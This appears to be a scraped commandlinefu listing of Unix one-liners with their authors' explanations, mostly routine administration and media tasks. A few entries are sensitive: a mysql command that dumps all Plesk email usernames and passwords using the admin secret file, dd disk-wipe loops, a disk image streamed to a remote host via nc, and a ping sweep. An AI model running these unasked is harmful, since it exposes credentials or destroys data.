'[:lower:]' Converts uppercase chars in a string to lowercase ncat -l portnumber Simple server which listens on a port and prints out received data Sometimes you need a simple server which listens on a port and prints out received data. Example: Consider you want to know, which data is posted by a homepage to a remote script without analysing the html code! A simple way to do this is to save the page to your computer, substitude all action="address" with action="localhost:portnumber", run 'ncat -l portnumber' and open the edited page with your browser. If you then submit the form, ncat will print out the http-protocol with all the posted data. psql -c "SELECT pg_database.datname, pg_database_size(pg_database.datname), pg_size_pretty(pg_database_size(pg_database.datname)) FROM pg_database ORDER BY pg_database_size DESC;" -d <ANYDBNAME> -------------------+------------------+---------------- (6 rows) List all databases in Postgres and their (byte/human) sizes, ordering by byte size descending Get a listing of all of your databases in Postgres and their sizes, ordering by the largest size first. Requires that you give the -d parameter a valid database name that you can connect to. ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub 2048 b6:de:15:9b:00:c1:f5:f8:68:g9:43:9b:94:81:c5:c9 /etc/ssh/ssh_host_rsa_key.pub (RSA) 1024 e5:60:ff:6a:1f:0f:01:d0:14:6b:89:fa:64:f3:ae:2a /etc/ssh/ssh_host_dsa_key.pub (DSA) Get ssh server fingerprints Get your server's fingerprints to give to users to verify when they ssh in. Publickey locations may vary by distro. Fingerprints should be provided out-of-band. qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock kde4 lock screen command If you wish to launch the kde4 screen saver without the password prompt to exit, use this command: qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.SetActive True Also can be done with: /usr/lib/kde4/libexec/kscreenlocker --forcelock tar tfz filename.tgz |xargs rm -Rf untar undo echo $(( $RANDOM % 10 + 1 )) Random number generation within a range N, here N=10 sed -i -e 's/SEARCH_STRING/REPLACE_STRING/g' `find . -iname 'FILENAME'` a find and replace within text-based files, for batch text replacement, not using perl Use sed to edit in-place a list of files returned by find. grep '^MemFree:' /proc/meminfo | awk '{ mem=($2)/(1024) ; printf "%0.0f MB\n", mem }' 13 MB Functions: awk grep printf This will show the amount of physical RAM that is left unused by the system. sudo ethtool -s eth0 wol d gsettings set org.gnome.desktop.background picture-uri file://"$(find ~/Wallpapers -type f | shuf -n1)" Change Random Wallpaper on Gnome 3 alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2' Functions: alias cut grep tail show all programs connected or listening on a network port Use the aliased command 'nsl' colormake, colorgcc, colordiff Colorize make, gcc, and diff output Colorize output of make, gcc/g++ or diff, making it easier to read at a glance. They are not distributed with make, diff or gcc, but are usually available in the repositories. hg diff -c $REV --reverse | hg patch --no-commit - Functions: diff patch Undo commit in Mercurial ‹ First < 88 89 90 91 92 > Last › for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort avahi-autoipd:avahi-autoipd avahi:avahi backup:backup bin:bin daemon:daemon debian-tor:debian-tor debian-transmission:debian-transmission games:games gdm:gdm gnats:gnats haldaemon:haldaemon Functions: echo groups List all groups and the user names that were in each group "cut" the user names from /etc/passwd and then running a loop over them. cat /proc/$(lsof -ti:8888)/cmdline | tr "\0" " " Functions: cat tr Show the command line of a process that use a specific port (ubuntu) gconftool -s -t string /apps/metacity/general/button_layout "menu:minimize,maximize,close" reclaim your window titlebars (in ubuntu lucid) ( nw=192.168.0 ; h=1; while [ $h -lt 255 ] ; do ( ping -c2 -i 0.2 -W 0.5 -n $nw.$h & ); h=$[ $h + 1 ] ; done ) | awk '/^64 bytes.*/ { gsub( ":","" ); print $4 }' | sort -u Functions: awk ping sort Poor man's nmap for a class C network from rfc1918 What do you do when nmap is not available and you want to see the hosts responding to an icmp echo request ? This one-liner will print all hosts responding with their ipv4 address. find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar grep (or anything else) many files with multiprocessor power xargs -P N spawns up to N worker processes. -n 40 means each grep command gets up to 40 file names each on the command line. PERMA () { echo "$@" >> ~/.bashrc; } Make alias pemanent fast Simple function to permanently add an alias to your profile. Tested on bash and Ksh, bash version above. Here is the ksh version: PERMA () { print "$@" >> ~/.profile; } Sample usage: PERMA alias la='ls -a' netstat -alnp | grep ::80 Functions: grep netstat find . -type f -print0 | xargs -r0 stat -c %Y\ %n | sort -rn | gawk '{sub(/.\//,"",$2); print $2}' > /tmp/playlist.m3u Tekzilla_Daily_Tip_HD_Quicktime/Firefox_Save_Websites_As_An_Image_-_Tekzilla_Daily_Tip.mp4 MacBreak_Weekly/MacBreak_Weekly_130_I_Did_A_Fiduciary_Dooty.mp3 Buzz_Out_Loud_from_CNET/Buzz_Out_Loud_922_Hot_and_junky.mp3 The_Totally_Rad_Show_HD_Quicktime/Nash_Out_-_Halo_Wars,_Street_Fighter_The_Legend_of_Chun_Li,_Green_Hornet_and_Clue_news,_Oscar_wager_results_-_The_Totally_Rad_Show.mp4 FRAK/FRAK_0.0.5.mp4 Tekzilla_Daily_Tip_HD_Quicktime/OS_X_Perfect_Windows_Management_Expose_and_Spaces_Together_-_Tekzilla_Daily_Tip.mp4 IT_Conversations/Dion_Almaer,_Ben_Galbraith_-_Bespin.mp3 Leo_Laporte_-_The_Tech_Guy/Leo_Laporte_-_The_Tech_Guy_539.mp3 Systm_HD_Quicktime/UPS_+_Car_Battery_=_More_Computing_Or_a_48_Hour_Disco_Ball_-_Systm.mp4 Praia_das_Mas/Praia_das_Mas_3.m4a ..... Functions: find gawk sort stat xargs Generate a playlist of all the files in the directory, newer first I use this to generate a playlist with all the podcasts I listen to. Ordered from most recent to older. ruby -e 'puts (1..6).map{"%0.2X"%rand(256)}.join(":")' Generate random valid mac addresses Ruby version. Also, a perl version: perl -e 'printf("%.2x.",rand(255))for(1..5);printf("%.2x\n",rand(255))' stty -echo; ssh -t HOSTNAME "sudo some_command"; stty echo Functions: ssh stty Execute a sudo command remotely, without displaying the password The ssh command alone will execute the sudo command remotely, but the password will be visible in the terminal as you type it. The two stty commands disable the terminal from echoing the password back to you, which makes the remote sudo act as it does locally. mplayer $(wget -q -O - "http://europarse.real.com/hurl/gratishurl.ram?pid=eu_aljazeera&file=al_jazeera_en_lo.rm" | sed -e 's#lo.rm#hi.rm#') Watch Al Jazeera Livestream directly in mplayer #jan25 One cannot call the high quality livestream directly, but command this gives you a session ID and the high quality stream. #egypt #jan25 sed -n 13p /etc/services Go to the Nth line of file find . -iname '*.jar' | xargs du -ks | cut -f1 | xargs echo | sed "s/ /+/g" | bc Functions: cut du echo find sed xargs Another way to calculate sum size of all files matching a pattern Here the pattern is '*.jar', you could pass in any pattern. Another, maybe nicer way to do this is http://www.commandlinefu.com/commands/view/1921/summarise-the-size-of-all-files-matching-a-simple-regex You could replace sed with tr # for i in $(seq 1 25); do dd if=/dev/urandom of=<your disk> bs=1M ; done Functions: dd seq Securely destroy data on given device Intentional hash in the beginning. May run a looong time. Wipes your data for real. Was meant to be /dev/urandom - I mistyped it. :-) gcc -dM -E - <<<'' #define __DBL_MIN_EXP__ (-1021) #define __FLT_MIN__ 1.17549435e-38F #define __DEC64_DEN__ 0.000000000000001E-383DD #define __CHAR_BIT__ 8 #define __WCHAR_MAX__ 2147483647 #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1 1 #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_2 1 #define __GCC_HAVE_SYNC_COMPARE_AND_SWAP_4 1 doesn't need /dev/null ls -1 |grep -v .jpg |xargs rm Functions: grep ls xargs bash -x script.sh 2> log Run a bash script in debug mode, show output and save it on a file ram() { for i in /tmp /altroot;do mount -t tmpfs tmpfs $i;done&& for i in /var /root /etc $HOME; do find -d $i |cpio -pdmv /tmp&& mount -t tmpfs tmpfs $i&& mv -v /tmp$i/* $i&& rm -vrf /tmp$i ; done ;} usage: (in rc sequence) ram Functions: cpio find mount mv rm preserve disk; keep OS clean if you use disk-based swap then it can defeat the purpose of this function. touch /tmp/$$;for N in `seq -w 0 7777|grep -v [89]`; do chmod $N /tmp/$$; P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$ Functions: awk chmod echo touch Create a listing of all possible permissions and their octal representation. ffmpeg -i input.avi -s qcif -vcodec h263 -r 20 -b 180k -acodec libfaac -ab 64k -ac 2 -ar 22050 output.3gp Converting video file (.flv, .avi etc.) to .3gp ffmpeg -i = input file name -s = set frame size, qcif=176x144 -vcodec = force video codec -r = frame-rate [default = 25] -b = bit-rate [200 kb/s] -acodec = force audio codec -ab = audio bitrate in bits/s [64k] -ac = no. of audio channels [1] -ar = audio sampling frequency [44100 Hz] optional: -sameq = use same video quality as source (implies VBR) -f = force format -y = overwrite output files y=http://www.youtube.com;for i in $(curl -s $f|grep -o "url='$y/watch?v=[^']*'");do d=$(echo $i|sed "s|url\='$y/watch?v=\(.*\)&.*'|\1|");wget -O $d.flv "$y/get_video.php?video_id=$d&t=$(curl -s "$y/watch?v=$d"|sed -n 's/.* "t": "\([^"]*\)",.*/\1/p')";done This will download a Youtube playlist and mostly anything http://code.google.com/apis/youtube/2.0/reference.html#Video_Feeds The files will be saved by $id.flv gorecord() { if [ $# != 1 ]; then echo 'gorecord video.mp4' return fi ffmpeg -f x11grab -s <resolution> -r 25 -i :0.0 -sameq -vcodec mpeg4 "$1" } Functions: echo return High resolution video screen recording gorecord foo.mp4 I've tried all of the screen recorders available for Linux and this is easily the best. xvidcap segfaults; VNC is too much hassle. There are alternatives of this command already here that I am just too lazy to reply to. Messing with the frames per second option, -r, 25 seems to be the best. Any lower and the video will look like a flipbook, if it records at all - -r 10 won't - any faster is the same, oddly enough. Edit: CLF doesn't like my long command to add audio, so here it is in the description. goaddaudio() { if [ $# != 3 ]; then echo 'goaddaudio < audio > < src video > < dst video >' return fi f=goaddaudio$RANDOM ffmpeg -i "$2" &> $f d=$( grep Duration $f | awk '{print $2}' | tr -d ',' ) && rm $f && ffmpeg -i "$1" -i "$2" -r 25 -ab 192k -ar 44100 -sameq -t $d "$3" } ncdu directory_name ncdu 1.3 ~ Use the arrow keys to navigate, press ? for help ---/etc------------------------------------------------------------------------- 4.1MB [##########] /ssh 3.8MB [######### ] /brltty 1.0MB [## ] /htdig 700.0kB [# ] /acpi 680.0kB [# ] /X11 648.0kB [# ] /texmf 528.0kB [# ] /mono 508.0kB [# ] /init.d . 504.0kB [# ] /ssl 484.0kB [# ] /kde3 400.0kB [ ] /apache2 ncdu - ncurses disk usage ncdu is a text-mode ncurses-based disk usage analyzer. Useful for when you want to see where all your space is going. For a single flat directory it isn't more elaborate than an du|sort or some such thing, but this analyzes all directories below the one you specify so space consumed by files inside subdirectories is taken into account. This way you get the full picture. Features: file deletion, file size or size on disk and refresh as contents change. Homepage: http://dev.yorhel.nl/ncdu cp -pr olddirectory newdirectory Copy via tar pipe while preserving file permissions (cp does not!; run this command with root!) cp options: -p will preserve the file mode, ownership, and timestamps -r will copy files recursively also, if you want to keep symlinks in addition to the above: use the -a/--archive option declare -F | cut -d ' ' -f 3 ‹ First < 89 90 91 92 93 > Last › tr '\000' '\377' < /dev/zero | dd bs=512 count=200000 status=noxfer | pipebench | sudo dd of=/dev/sdx Example of dynamic operating output: Example of summary output on end of process: 200000+0 records in 200000+0 records out Summary: 102400000 bytes (102 MB) copied, 10.9973 s, 9.3 MB/s Functions: dd sudo tr Fill a hard drive with ones - like zero-fill, but the opposite :) Note: Replace 200000 with drive bytes/512, and /dev/sdx with the destination drive/partition. ;) Note: You may need to install pipebench, this is easy with "sudo apt-get install pipebench" on Ubuntu. The reason I hunted around for the pieces to make up this command is that I wanted to specifically flip all of the bits on a new HDD, before running an Extended SMART Self-Test (actually, the second pass, as I've already done one while factory-zeroed) to ensure there are no physical faults waiting to compromise my valuable data. There were several sites that came up in a Google search which had a zero-fill command with progress indicator, and one or two with a fill-with-ones command, but none that I could find with these two things combined (I had to shuffle around the dd command(s) to get this to happen without wasting speed on an md5sum as well). For reference, these are the other useful-looking commands I found in my search: Zero-fill drive "/dev/sdx", with progress indicator and md5 verification (run sudo fdisk -l to get total disk bytes, then divide by 512 and enter the resulting value into this command for a full wipe) dd if=/dev/zero bs=512 count=<size/512> | pipebench | sudo tee /dev/sdx | md5sum And this command for creating a file filled with ones is my other main source (besides the above command and man pages, that is - I may be a Linux newbie but I do read!): Hope someone finds this useful! :) Cheers, - Gliktch diff -r -u originDir updateDir > result.patch Create patch file for two directories watch -d -n 3 "iw dev wlan0 station dump; iwconfig wlan0" Monitoring wifi connection by watch command (refresh every 3s), displaying iw dump info and iwconfig on wireless interface "wlan0" find . -name '*.html' -print0| xargs -0 -L1 cat |sed "s/[\"\<\>' \t\(\);]/\n/g" |grep "http://" |sort -u http://fonts.apple.com/TTRefMan/index.html http://gnuwin32.sourceforge.net/packages/ttf2pt1.htm http://heliotrope.homestead.com/files/printsoft.html http://linuxartist.org/fonts/ Functions: cat find grep sed sort xargs find external links in all html files in a directory list Just a handy way to get all the unique links from inside all the html files inside a directory. Can be handy on scripts etc. /usr/sbin/showmount -e <host> Query an NFS host for its list of exports patch -p0 -i result.patch Functions: patch Apply new patch for a directory (originDir) diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old) Functions: diff head Generate diff of first 500 lines of two files Useful for massive files where doing a full diff would take too long. This just runs diff on the first 500 lines of each. The use of subshells to feed STDIN is quite a useful construct. grep "processor" /proc/cpuinfo | wc -l user@system:~$ grep "processor" /proc/cpuinfo | wc -l user@system:~$ Number of CPU's in a system /proc/cpuinfo contains information about the CPU. Search for "processor" in the /proc/cpuinfo file wc -l, counts the number of lines. diff <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file1) <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file2) gjempty$ diff <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file1) <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file2) 247a248,250 > for ($i = 0; $i < 7; $i++) { > if (!isset($tabData[$i])) $tabData[$i] = ''; > } gjempty$ diff -b file1 file2 > for ($i = 0; $i < 7; $i++) { > if (!isset($tabData[$i])) $tabData[$i] = ''; > } Functions: diff perl **NOTE** Tekhne's alternative is much more succinct and its output conforms to the files actual contents rather than with white space removed My command on the other hand uses bash process substitution (and "Minimal" Perl), instead of files, to first remove leading and trailing white space from lines, before diff'ing the streams. Very useful when differences in indentation, such as in programming source code files, may be irrelevant iptables -D fail2ban-SSH -s <ip_address_to_be_set_free> -j DROP Get an IP address out of fail2ban jail Removes an iptables rule created by fail2ban. This example shows how to remove a rule for an IP from the fail2ban-SSH chain. Can be used for any service monitored by fail2ban. For more on fail2ban, see http://www.fail2ban.org/wiki/index.php/Main_Page structcp(){ ( mkdir -pv $2;f="$(realpath "$1")";t="$(realpath "$2")";cd "$f";find * -type d -exec mkdir -pv $t/{} \;);} nathan@lion:~$ structcp hello-python hello-plasma mkdir: created directory `hello-plasma' mkdir: created directory `/home/nathan/hello-plasma/contents' mkdir: created directory `/home/nathan/hello-plasma/contents/code' Copy structure Copies a dir structure without the files in it. find ~user/ -name "*~" -exec rm {} \; Remove all backup files in my home directory I use this simple command for remove all backup files generated usually by editors like Vim and Emacs. awk '!($0 in a) {a[$0];print}' file print file without duplicated lines usind awk show file withou duplicated lines cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash backup directory. (for bash) mount -t unionfs -o dirs=/tmp/unioncache=rw:/mnt/readonly=ro unionfs /mnt/unionfs Make a ready-only filesystem ?writeable? by unionfs First look into /etc/modules if you have unionfs (or squashfs) support. If not, add the modules. UnionFS combines two filesystems. If there is a need to write a file, /tmp/unioncache will be used to write files (first create that directory). Reads will be done where the file is found first. http://tldp.org/HOWTO/SquashFS-HOWTO/creatingandusing.html for i in `seq -f %03g 5 50 111`; do echo $i ; done $>for i in `seq -f %03g 5 50 111`; do echo $i ; done 005 055 105 a for loop with filling 0 format, with seq seq allows you to format the output thanks to the -f option. This is very useful if you want to rename your files to the same format in order to be able to easily sort for example: for i in `seq 1 3 10`; do touch foo$i ;done And ls foo* | sort -n foo1 foo10 foo4 foo7 But: for i in `seq -f %02g 1 3 10`; do touch foo$i ;done So foo01 foo04 foo07 for f in *.txt;do mv ${f%txt}{txt,md}; done Same thing using bash built-in features instead of a sub-shell. df -PH|column -t gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf multipageproject.pdf Optimize Xsane PDFs Xsane produces PDFs that are too large - particularly multipage PDFs. This command compresses them. If you do not use A4, remove the -sPAPERSIZE flag. cat > list - Quick notepad Quick write some notes to a file with cat. Ctrl+C when you have finish. xrandr | grep \* Get your X11 screen mode ifconfig $devices | grep "inet addr" | sed 's/.*inet addr:\([0-9\.]*\).*/\1/g' 192.168.1.6 Functions: grep ifconfig sed Get your internal IP address and nothing but your internal IP address Will return your internal IP address. avimerge -o output.avi -i file1.avi file2.avi file3.avi concatenate avi files concatenates avi files svn add . --force A (bin) some/file/that/had/a/\?/before With the force options the same results can be achieved cut -f2 -d`echo -e '\x01'` file strips the first field of each line where the delimiter is the first ascii character ‹ First < 90 91 92 93 94 > Last › cd() { if [[ "$1" =~ ^\.\.+$ ]];then local a dir;a=${#1};while [ $a -ne 1 ];do dir=${dir}"../";((a--));done;builtin cd $dir;else builtin cd "$@";fi ;} Go up multiple levels of directories quickly and easily. This is a kind of wrapper around the shell builtin cd that allows a person to quickly go up several directories. Instead of typing: cd ../.. A user can type: cd ... Instead of: cd ../../.. cd .... Add another period and it goes up four levels. Adding more periods will take you up more levels. hostname -I Get all ip address for the host awk "BEGIN{ print $* }" Command line calculator works with fractions like 1/3.5 lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0; split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in count) { printf("PCI address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[i]) } }' Functions: awk grep lspci Show number of NIC's, ports per nic and PCI address grep -c -e '^cpu[0-9]\+' /proc/stat Finding the number of cpu's tar dfz horde-webmail-1.2.3.tar.gz horde-webmail-1.2.3/imp/config/servers.php: Mod time differs horde-webmail-1.2.3/imp/config/servers.php: Size differs horde-webmail-1.2.3/lib/Horde/RPC/PhpSoap.php: Mod time differs horde-webmail-1.2.3/lib/Horde/RPC/PhpSoap.php: Size differs Compare an archive with filesystem and you quickly know the files you changed iptraf monitor network traffic and throughput in real time see http://iptraf.seul.org/ for all kinds of documentation and screenshots eval ls -l /proc/{$(pgrep -d, COMMAND)}/cwd $ eval ls -l /proc/{$(pgrep -d, vim)}/cwd lrwxrwxrwx 1 splante 20000 0 Apr 14 09:25 /proc/11611/cwd -> /home/splante/p lrwxrwxrwx 1 splante 20000 0 Apr 14 09:26 /proc/11680/cwd -> /tmp $ sudo ls -l /proc/$(pgrep X)/cwd lrwxrwxrwx 1 root root 0 Apr 13 18:31 /proc/3945/cwd -> / Functions: eval ls Find out current working directory of a process This is an alternative to another command using two xargs. If it's a command you know there's only one of, you can just use: ls -l /proc/$(pgrep COMMAND)/cwd find -writable Find writable files Have a grudge against someone on your network? Do a "find -writable" in their directory and see what you can vandalize! But seriously, this is really useful to check the files in your own home directory to make sure they can't inadvertently be changed by someone else's wayward script. dh() { du -ch --max-depth=1 "${@-.}"|sort -h } /usr/share/games $ dh 298K ./qlife 1,4M ./eboard 2,7M ./gtklife 9,9M ./csmash 18M ./stepmania 27M ./frozen-bubble 30M ./etracer 86M ./wormux 174M . 174M total Since coreutils 7.6 provides sort -h find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lh Functions: du find xargs Show the disk usage for files pointed by symbolic link in a directory You also can sum the file usage of all files find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lch vim $(grep test *) Functions: grep test vim Find files containing string and open in vim I often use "vim -p" to open in tabs rather than buffers. a="www.commandlinefu.com";b="/index.php";for n in $(seq 1 7);do echo -en "GET $b HTTP/1.0\r\nHost: "$a"\r\n\r\n" |nc $a 80 2>&1 |grep Set-Cookie;done Functions: echo grep seq Get Cookies from bash The loop is to compare cookies. You can remove it... Maybe you wanna use curl... curl www.commandlinefu.com/index.php -s0 -I | grep "Set-Cookie" ls -l | egrep ^d drwxrwx--- 2 sim sim 4096 2009-02-08 14:19 adir -rw-rw---- 1 sim sim 0 2009-02-05 13:09 x.txt -rw-rw---- 1 sim sim 0 2009-02-05 13:09 y.txt -rw-rw---- 1 sim sim 0 2009-02-05 13:09 z.txt $ ls -l | egrep ^d Functions: egrep ls This command would be useful when it is desirable to list only the directories. 'egrep' chooses only the lines that begin with 'd'. wget -O /dev/null http://www.google.com Run remote web page, but don't save the results I have a remote php file that I want to run once an hour. I set up cron to run this wget. I don't really care about what's in the file though, I don't want to save the results, so I run the -O and send it to /dev/null ps ax --format=pid,eip,esp,user,command PID EIP ESP USER COMMAND 1 00659422 bfd959bc root /sbin/init Getting ESP and EIP addresses from running processes 'ps' let you specify the format that you want to see on the output. randpw(){ < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;} frozenfire@sine:~$ randpw 10 9qDVnEYNGx frozenfire@sine:~$ randpw 6PkWNDsFVTiuKmpX Generate random password Generates password consisting of alphanumeric characters, defaults to 16 characters unless argument given. 123.123.123.123 alternative to for those that don't have curl while true; do xdotool getmouselocation | sed 's/x:\(.*\) y:\(.*\) screen:.*/\1, \2/' >> ./mouse-tracking; sleep 10; done Functions: sed sleep Mouse Tracking Will track your mouse and save it to a file. You can use gnuplot to graph it: gnuplot -persist <(echo "unset key;unset border;unset yzeroaxis;unset xtics;unset ytics;unset ztics;plot './mouse-tracking' with points lt 1 pt 6 ps variable") sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' filename 1234567891234567890 $ sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' sample.txt 1,234,567,891,234,567,890 Add thousand separator with sed, in a file or within pipe cat filename | sed -e :a -e 's/\(.*[0-9]\)\([0-9]\{3\}\)/\1,\2/;ta' I don't remember where I copy/pasted this from, I wish I credited the original author mysql -e"SHOW STATUS LIKE '%uptime%'"|awk '/ptime/{ calc = $NF / 3600;print $(NF-1), calc"Hour" }' Uptime 12.96Hour Mysql uptime show Mysql uptime if [ ! -z "${DISPLAY}" ]; then someXcmd ; fi Check if running in an X session If you want to display a dialog (using xdialog/kdialog/zenity) you need to make sure that you have a valid X session. Checks for the existence of the DISPLAY variable. tpb() { wget -U Mozilla -qO - $(echo "http://thepiratebay.org/search/$@/0/7/0" | sed 's/ /\%20/g') | grep -o 'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent' | tac; } Functions: echo grep sed wget ThePirateBay.org torrent search usage: tpb searchterm example: tpb the matrix trilogy This searches for torrents from thepiratebay and displays the top results in reverse order, so the 1st result is at the bottom instead of the top -- which is better for command line users find . -type f -iname '*.wmf' | while read FILE; do FILENAME="${FILE%.*}"; wmf2svg -o ${FILENAME}.svg $FILE; done Convert all WMF images to SVG recursively ignoring file extension case This assumes you have the package installed necessary for converting WMF files. On my Ubuntu box, this is libwmf-bin. I used this command, as libwmf is not on my wife's iMac, so I archived the directories containing the WMF files from OS X, ran them on my Ubuntu box, archived the resulting SVGs, and sent them back to her. Quick, simple and to the point. Searches directories recursively looking for extensions ignoring case. This is much more readable and clean than -exec for find. The while loop also gives further flexibility on complex logic. Also, although there is 'wmf2svg --auto', it expects lowercase extensions, and not uppercase. Because I want to ignore case, I need to use the -o option instead. Works in ZSH and BASH. Haven't tested in other shells. ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}' $ ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}' 00:25:4b:a2:45:72 00:25:4b:89:98:a0 00:25:4b:ff:fe:a2 Get mac address listed for all interfaces. ‹ First < 91 92 93 94 95 > Last › ffmpeg -f alsa -itsoffset 00:00:02.000 -ac 2 -i hw:0,0 -f x11grab -s $(xwininfo -root | grep 'geometry' | awk '{print $2;}') -r 10 -i :0.0 -sameq -f mp4 -s wvga -y intro.mp4 http://www.youtube.com/watch?v=K3gOxtXN5wc Capture screen and mic input using FFmpeg and ALSA Yet another x11grab using ffmpeg. I also added mic input to the capturing video stream using alsa. Yet I need to find out how to capture audio which is currently playing. setterm -blength 0 system beep off function ..(){ for ((j=${1:-1},i=0;i<j;i++));do builtin cd ..;done;} cd up a number of levels Instead of typing "cd ../../.." you can type ".. 3". For extremely lazy typists, you can add this alias: alias ...=".. 2" ....=".. 3" - so now you can write just .... !!! NB the .. function needs to be "source"d or included in your startup scripts, perhaps .bashrc. mplayer -vo fbdev -xy 1024 -fs -zoom /path/to/movie.avi Watch a movie in linux without the X windows system. wget -U Mozilla -qO - "http://thepiratebay.org/search/your_querry_here/0/7/0" | grep -o 'http\:\/\/torrents\.thepiratebay\.org\/.*\.torrent' This one-liner greps first 30 direct URLs for .torrent files matching your search querry, ordered by number of seeds (descending; determined by the second number after your querry, in this case 7; for other options just check the site via your favorite web-browser). You don't have to care about grepping the torrent names as well, because they are already included in the .torrent URL (except for spaces and some other characters replaced by underscores, but still human-readable). Be sure to have some http://isup.me/ macro handy (someone often kicks the ethernet cables out of their servers ;) ). I've also coded a more user-friendly ash (should be BASH compatible) script, which also lists the total size of download and number of seeds/peers (available at http://saironiq.blogspot.com/2011/04/my-shell-scripts-4-thepiratebayorg.html - may need some tweaking, as it was written for a router running OpenWrt and transmission). Happy downloading! seq 100 | awk '{sum+=$1} END {print sum}' 5050 Calculating series with awk: add numbers from 1 to 100 "seq 100" outputs 1,2,..,100, separated by newlines. awk adds them up and displays the sum. "seq 1 2 11" outputs 1,3,..,11. Variations: 1+3+...+(2n-1) = n^2 seq 1 2 19 | awk '{sum+=$1} END {print sum}' # displays 100 1/2 + 1/4 + ... = 1 seq 10 | awk '{sum+=1/(2**$1)} END {print sum}' # displays 0.999023 unrar e file.part1.rar; if [ $? -eq 0 ]; then rm file.part*.rar; fi Extract neatly a rar compressed file It's also possible to delay the extraction (echo "unrar e ... fi" |at now+20 minutes) wich is really convenient! mencoder -oac mp3lame -lameopts cbr=128 -ovc xvid -xvidencopts bitrate=1200 inputfile.rmvb -o output.avi wget -t inf -k -r -l 3 -p -m http://apod.nasa.gov/apod/archivepix.html Mirror the NASA Astronomy Picture of the Day Archive Mirror the entire NASA Astronomy Picture of the Day archive, all the way from 1995. The archive is close to 2.5 GB, with lots of files, so give it some time. The logs can be redirected to a file using '-o somefile'. You might also want to try '-nH' and the '--cut-dirs' options dd if=/dev/sdb | pigz | gpg -r <recipient1> -r <recipient2> -e --homedir /home/to/.gnupg | nc remote_machine 6969 Functions: dd gpg Efficient remote forensic disk acquisition gpg-crypted for multiple recipients Acquires a bit-by-bit data image, gzip-compresses it on multiple cores (pigz) and encrypts the data for multiple recipients (gpg -e -r). It finally sends it off to a remote machine. sed -e '/^[<space><tab>]*$/d' somefile output the contents of a file removing any empty lines including lines which contain only spaces or tabs. echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l 95.23223087607411631700 Functions: bc cut echo sed tr memcache affinity: queries local memcached for stats, calculates hit/get ratio and prints it out. queries local memcached for stats, calculates hit/get ratio and prints it out. perl -0777 -ne 'print "$1\n" while /word-a(.*?)word-b/gs' filename.txt How to pull out lines between two patterns This command will display all lines between 2 patterns: word-a and word-b useful for grepping command outputs from file find `echo "${PATH}" | tr ':' ' '` -type f | while read COMMAND; do man -f "${COMMAND##*/}"; done $ find `echo "${PATH}" | tr ':' ' '` -type f -a -name '*ctl*' | while read COMMAND; do man -f "${COMMAND##*/}"; done cupsctl (8) - configure cupsd.conf options pactl (1) - Control a running PulseAudio sound server esdctl (1) - The Enlightened Sound Daemon sysctl (8) - configure kernel parameters at runtime alsactl (1) - advanced controls for ALSA soundcard driver pccardctl (8) - PCMCIA card control utility initctl (8) - init daemon control utility Functions: find man read tr List commands with a short summary Obviously, you can replace 'man' command with any command in this command line to do useful things. I just want to mention that there is a way to list all the commands which you can execute directly without giving fullpath. Normally all important commands will be placed in your PATH directories. This commandline uses that variable to get commands. Works in Ubuntu, will work in all 'manpage' configured *nix systems. mysql -uadmin -p` cat /etc/psa/.psa.shadow` -Dpsa -e"select mail_name,name,password from mail left join domains on mail.dom_id = domains.id inner join accounts where mail.account_id = accounts.id;" Show all usernames and passwords for Plesk email addresses apt-cache dotty PKG-NAME | dot -Tpng | display Create package dependency graph Create Debian package dependency graph using GraphViz lsof -u www-data COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME apache2 12747 www-data rtd DIR 8,4 848 2 / apache2 12747 www-data txt REG 8,4 324284 392401 /usr/sbin/apache2 Show what a given user has open using lsof gdb --batch --quiet -ex "thread apply all bt full" -ex "quit" ${exe} ${corefile} Functions: gdb Print stack trace of a core file without needing to enter gdb interactively This does almost the same thing as the original, but it runs the full backtrace for _all_ the threads, which is pretty important when reporting a crash for a multithreaded software, since more often than not, the signal handler is executed in a different thread than the crash happened. cd !$ Getting the last argument from the previous command perl -e 'print scalar(gmtime(1234567890)), "\n"' find . \( -name '*.h' -o -name '*.cc' \) | xargs grep . | wc -l Functions: find grep wc xargs Counts number of lines Counts number of lines of code in *.h and *.cc files unzip '*.zip' Unzip multiple files with one command With this command you can easily unzip multiple zip files with just one command. All you need to do is to use single quotes. perl -i'.bak' -pe 's/old/new/g' <filename> ps -o thcount -p <process id> THCNT Return threads count of a process Source: http://superuser.com/questions/49408/how-do-i-monitor-or-view-the-thread-count-of-a-certain-process-on-aix 